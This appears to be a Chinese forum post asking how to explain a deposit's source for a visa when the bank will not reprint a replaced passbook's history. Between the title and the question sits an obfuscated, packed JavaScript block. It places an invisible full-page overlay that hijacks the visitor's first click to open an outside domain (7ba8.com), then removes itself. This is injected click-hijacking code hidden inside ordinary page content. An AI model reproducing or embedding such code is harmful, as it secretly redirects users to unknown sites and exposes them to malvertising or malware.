我的存折换折了，签证时怎样说明问题？

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>我的情况是这样 ，我已经有一个18个月的40万定期存款存折，但由于当时是从各个活期存折汇到定期折上的，所以必须解释一下我这笔钱不是凭空冒出来的，而是原来在各个活期存折上一直这样积累下来的。但我现在发现有一个活期的存折换折了，也就是说换折以前的存款记录没有了，

要求银行把换折前的记录给我打出来他又不肯，

那这个问题该怎么解决？



谢谢！